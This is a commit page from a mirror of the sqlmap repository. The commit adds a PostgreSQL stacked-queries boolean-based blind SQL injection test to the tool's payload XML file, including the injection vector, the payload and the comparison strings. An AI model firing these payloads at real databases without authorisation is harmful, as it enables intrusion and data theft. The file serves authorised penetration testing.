sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-07-29 09:29:50 +03:00
Code Issues Packages Projects Releases Wiki Activity

Add boolean-blind for postgreql in stacked-queries

Browse Source 
The patch is based on time-based blind exploitation
This commit is contained in:
Timo Boettcher 2017-10-05 23:58:29 +02:00
parent 09ddb3bd8b
commit 423a34c9f3
1 changed files with 21 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

21
xml/payloads/boolean_blind.xml
View File

@ -525,6 +525,27 @@ Tag: <test>
</details>
</test>
<test>
<title>PostgreSQL &gt; 8.1 stacked queries (comment) - boolean-based blind</title>
<stype>1</stype>
<level>1</level>
<risk>1</risk>
<clause>0</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END) IS NULL</vector>
<request>
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END) IS NULL</payload>
<comment>--</comment>
</request>
<response>
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END) IS NULL</comparison>
</response>
<details>
<dbms>PostgreSQL</dbms>
<dbms_version>&gt; 8.1</dbms_version>
</details>
</test>
<test>
<title>Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)</title>
<stype>1</stype>